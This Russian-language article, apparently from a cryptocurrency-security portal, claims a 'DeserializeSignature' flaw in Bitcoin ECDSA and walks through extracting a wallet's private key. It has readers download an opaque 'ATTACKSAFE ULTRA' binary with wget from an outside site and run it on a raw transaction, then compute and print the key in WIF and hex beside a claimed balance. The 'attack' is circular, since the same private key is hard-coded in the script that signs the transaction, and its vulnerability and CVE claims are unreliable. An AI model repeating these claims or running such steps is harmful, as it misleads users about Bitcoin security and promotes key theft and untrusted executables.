В этом исследовании мы рассмотрим уязвимость DeserializeSignature, которая позволяла злоумышленникам создавать недействительные подписи ECDSA в сети Биткоин. В криптографии цифровая подпись ECDSA – это математическая схема, позволяющая доказать подлинность цифрового сообщения или документа. В сети Bitcoin подписи используются для авторизации транзакций, подтверждая, что владелец определенного количества биткоинов действительно согласен на их перевод. Однако, уязвимость в функции DeserializeSignature
, обнаруженная в 2023 году, позволяла злоумышленникам создавать недействительные подписи, которые могли быть приняты сетью как валидные.
Принцип работы DeserializeSignature
Функция DeserializeSignature отвечает за десериализацию (преобразование из последовательности байтов) цифровой подписи в объект, который может быть использован для проверки ее валидности. Эта функция ожидает определенный формат данных, соответствующий стандарту криптографии с открытым ключом (ECDSA) используемому в Bitcoin. Функция DeserializeSignature принимает подпись транзакции и проверяет ее соответствие с полученным в результате вычисления хешем. Если подпись является корректной, DeserializeSignature возвращает true
, иначе – false
. Суть уязвимости заключалась в том, что DeserializeSignature не проверяла корректность всех параметров подписи перед ее десериализацией. В частности, функция не проверяла, является ли значение “R” или “S” подписи нулевым. Это позволяло злоумышленникам создавать подписи с нулевыми значениями, которые, несмотря на свою невалидность, могли быть приняты некоторыми клиентами Bitcoin как корректные. Злоумышленник может создать фальшивую подпись транзакции, которая будет принята как корректная, если она будет передана функции DeserializeSignature с неправильными данными.
Потенциальные угрозы и примеры атаки
Данная уязвимость представляла серьезную угрозу для безопасности сети Bitcoin. Злоумышленники могли использовать ее для:
- Кражи биткоинов: создавая недействительные подписи, злоумышленники могли авторизовать транзакции, переводящие биткоины с чужих кошельков на свои.
- Двойного расходования: подписи с нулевыми значениями могли быть использованы для создания двух разных транзакций с одними и теми же биткоинами.
- Манипуляция данными в блокчейне: злоумышленник может создать фальшивую транзакцию, подпись которой будет принята как корректная, и добавить ее в блокчейн. Это может привести к изменению баланса счетов.
- Атака на систему подтверждения транзакций: злоумышленник может создать фальшивую подпись транзакции и отправить ее на подтверждение в сеть.
Создания недействительных подписей ECDSA с помощью процесса машинного обучение BitcoinChatGPT
Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT
Откроем версию Google Colab:
State of a vulnerable transaction in Bitcoin:
01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8b483045
....0221
....00
........b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
....0220
........74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
....0141
045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5b
....ffffffff
01
....d204000000000000
........1976
............a914
........d74b32dfa340da479ce64aaf5e326496eb3995f1
....88ac
00000000
Соединим все выданные значение в одну общую строку:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000
Откроем опцию от BlockCypher “Decode A Transaction”:
https://live.blockcypher.com/btc/decodetx
После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
"1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk"
],
"block_height": -1,
"block_index": -1,
"confirmations": 0,
"double_spend": false,
"fees": 2606688996428,
"hash": "32361b5b8aa2954519c171b45dfa14ee5d997dc0a89182ebea4a9eaa15429f1e",
"inputs": [
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
],
"age": 344419,
"output_index": 0,
"output_value": 2606688997662,
"prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d"
.......
.......
.......
Обратим внимание на Bitcoin HASH160: d74b32dfa340da479ce64aaf5e326496eb3995f1
BitcoinChatGPT создает структуру транзакции, используя HASH
публичного ключа, где мы видим что Bitcoin address: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk отправляет 1234 satoshi
на тот же адрес внутри своей сети.
Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py
https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/wif_to_hash160.py
Вопрос – Ответ:
В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF
BitcoinChatGPT №2 DeserializeSignature Vulnerability Algorithm
Практическая часть
Чтобы перейти к практической части создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction
Скачаем и установим исходный код откроем терминал и запустим команду:
git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git
Каталог:
cd Broadcast-Bitcoin-Transaction
Установим три важные библиотеки:
Запустим команду:
pip install -r requirements.txt
Откроем в Notepad++ основной файл и несем небольшие изменение в коде Python Script: main.py
from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()
Запустим команду:
python main.py
Уязвимая транзакция создана!
Откроем файл RawTX в каталоге:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000
Порядок выполнения действий на видео:
Как нам известно из prompt ответов модуля BitcoinChatGPT aлгоритм для выявление уязвимости DeserializeSignature может быть использован для нескольких вариантов решения сложных криптографических задач.
Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина
Откроем [GoogleColab]
Реализуем алгоритм с помощью нашей репозитории 32DeserializeSignatureVulnerability
!git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/32DeserializeSignatureVulnerability/
ls
Подготовим RawTX для атаки
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся сервисом: https://attacksafe.ru/RSZ-Signature-From-Tx
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63
Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE ULTRA”
Для необходимых пакетов библиотек для запуска программного обеспечение “ATTAKSAFE ULTRA” установим “SAGE MATH”
Команда установки:
!sudo apt-get update
!sudo apt-get install -y python3-gmpy2
!sudo apt-get install sagemath
!sage -v
С помощью утилиты wget загрузим в папку Google Colab репозитории ATTACKSAFE_ULTRA.zip
!wget https://attacksafe.ru/REPOSITORY/DC66398E76DBCD8193134381D7838A02/ATTACKSAFE_ULTRA.zip
Разархивируем репозитории ATTACKSAFE_ULTRA.zip
!unzip ATTACKSAFE_ULTRA.zip
ls
!./attacksafe -help
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
!./attacksafe -version
Запустим список всех скриптов для атак:
!./attacksafe -ultra
Права доступа:
!chmod +x attacksafe
ls -l
Применение:
Выберем deserialization_error_vulnerability_cve-2023-0085.sage
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
для этого воспользуемся утилитой echo
Запустим команду:
!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000' > RawTX.txt
!cat RawTX.txt
Запустим deserialization_error_vulnerability_cve-2023-0085.sage
используя программное обеспечение “ATTACKSAFE ULTRA
”
ULTRA
”!./attacksafe deserialization_error_vulnerability_cve-2023-0085.sage -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из deserialization_error_vulnerability_cve-2023-0085.sage
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
RawTX = 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey
значение в формате HEX
, это и есть наш секретный ключ "K" (NONCE)
:
K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
Сделаем проверку с помощью Python-скрипта point2gen.py
Для этого установим библиотеку эллиптических кривых ECPy:
!pip3 install ECPy
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
!python3 point2gen.py 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
(0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
point2gen = (0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0)
ВСЕ ВЕРНО!
K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk
Воспользуемся Python-скриптом: calculate.py
> > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт calculate.py
рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
PrivKey = 0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0
Откроем bitaddress и проверим:
ADDR: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk
WIF: 5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX
HEX: 0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0
https://www.blockchain.com/btc/address/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk
Приватный Ключ Получен!
https://www.blockchain.com/explorer/addresses/btc/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk
BALANCE: $ 819113
References:
- “Mastering Bitcoin” by Andreas M. Antonopoulos – This is one of the most famous books about Bitcoin , which covers many aspects including security and vulnerabilities.
- “Bitcoin and Cryptocurrency Technologies” by Arvind Narayanan, Joseph Bonneau, Edward Felten, Andrew Miller, and Steven Goldfeder – This book provides a deep understanding of the technologies underlying Bitcoin and other cryptocurrencies, including security issues.
- Bitcoin Developer Documentation – Official documentation for Bitcoin developers, available on the website bitcoin.org. It includes information about various security aspects and vulnerabilities.
- Bitcoin Improvement Proposals (BIPs) – Documents describing various improvements and changes to the Bitcoin protocol. Some of them relate to security and vulnerabilities. A list of BIPs can be found at bitcoin.org.
- “A Fistful of Bitcoins: Characterizing Payments Among Men with No Names” by Sarah Meiklejohn et al. – This article explores the anonymity and security of transactions on the Bitcoin network.
- “Bitcoin: A Peer-to-Peer Electronic Cash System” by Satoshi Nakamoto – An original white paper describing the concept of Bitcoin. Although it does not focus on vulnerabilities, it is a foundational document for understanding the system.
- “Security and Privacy in Bitcoin” by Malte Möser – A dissertation exploring various aspects of security and privacy in the Bitcoin network.
- “Bitcoin and Blockchain Security” by Ghassan O. Karame – Dissertation on security issues in Bitcoin and blockchain technologies.
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be
Dzen Video Tutorial: https://dzen.ru/video/watch
Источник: https://cryptodeep.ru/deserialize-signature-vulnerability-bitcoin